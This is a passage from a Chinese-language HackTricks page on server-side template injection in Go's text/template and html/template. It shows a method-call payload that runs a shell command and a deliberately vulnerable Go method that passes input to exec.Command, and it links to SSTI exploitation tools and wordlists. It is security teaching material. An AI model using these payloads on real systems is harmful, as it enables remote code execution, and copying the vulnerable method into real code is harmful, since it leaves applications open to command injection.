{{define "T1"}}{{end}} {{template "T1"}}
RCE利用
RCE利用在html/template
和text/template
之间有显著差异。text/template
模块允许直接调用任何公共函数(使用“call”值),而在html/template
中不允许。这些模块的文档可在这里html/template和这里text/template找到。
对于Go中的SSTI通过RCE,可以调用对象方法。例如,如果提供的对象具有执行命令的System
方法,则可以像这样利用它:{{ .System "ls" }}
。通常需要访问源代码才能利用此功能,就像在给定的示例中所示:
func (p Person) Secret (test string) string {
out, _ := exec.Command(test).CombinedOutput()
return string(out)
}
更多信息
- https://blog.takemyhand.xyz/2020/05/ssti-breaking-gos-template-engine-to.html
- https://www.onsecurity.io/blog/go-ssti-method-research/
更多利用
查看 https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection 获取更多利用。您还可以在 https://github.com/DiogoMRSilva/websitesVulnerableToSSTI 中找到有趣的标签信息。
BlackHat PDF
{% file src="../../.gitbook/assets/en-server-side-template-injection-rce-for-the-modern-web-app-blackhat-15.pdf" %}
相关帮助
如果您认为有用,请阅读:
工具
- https://github.com/Hackmanit/TInjA
- https://github.com/vladko312/sstimap
- https://github.com/epinna/tplmap
- https://github.com/Hackmanit/template-injection-table
暴力检测列表
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt" %}
练习和参考
- https://portswigger.net/web-security/server-side-template-injection/exploiting
- https://github.com/DiogoMRSilva/websitesVulnerableToSSTI
- https://portswigger.net/web-security/server-side-template-injection
RootedCON 是西班牙最重要的网络安全活动之一,也是欧洲最重要的之一。作为促进技术知识的使命,这个大会是技术和网络安全专业人士在各个领域的热点会议。
{% embed url="https://www.rootedcon.com/" %}
从零开始学习AWS黑客技术,成为专家 htARTE(HackTricks AWS Red Team Expert)!
支持HackTricks的其他方式:
- 如果您想在HackTricks中看到您的公司广告或下载PDF版本的HackTricks,请查看订阅计划!
- 获取官方PEASS & HackTricks周边产品
- 探索PEASS家族,我们的独家NFT收藏品
- 加入 💬 Discord群 或 电报群 或在Twitter 🐦 @carlospolopm上关注我。
- 通过向HackTricks和HackTricks Cloud github仓库提交PR来分享您的黑客技巧。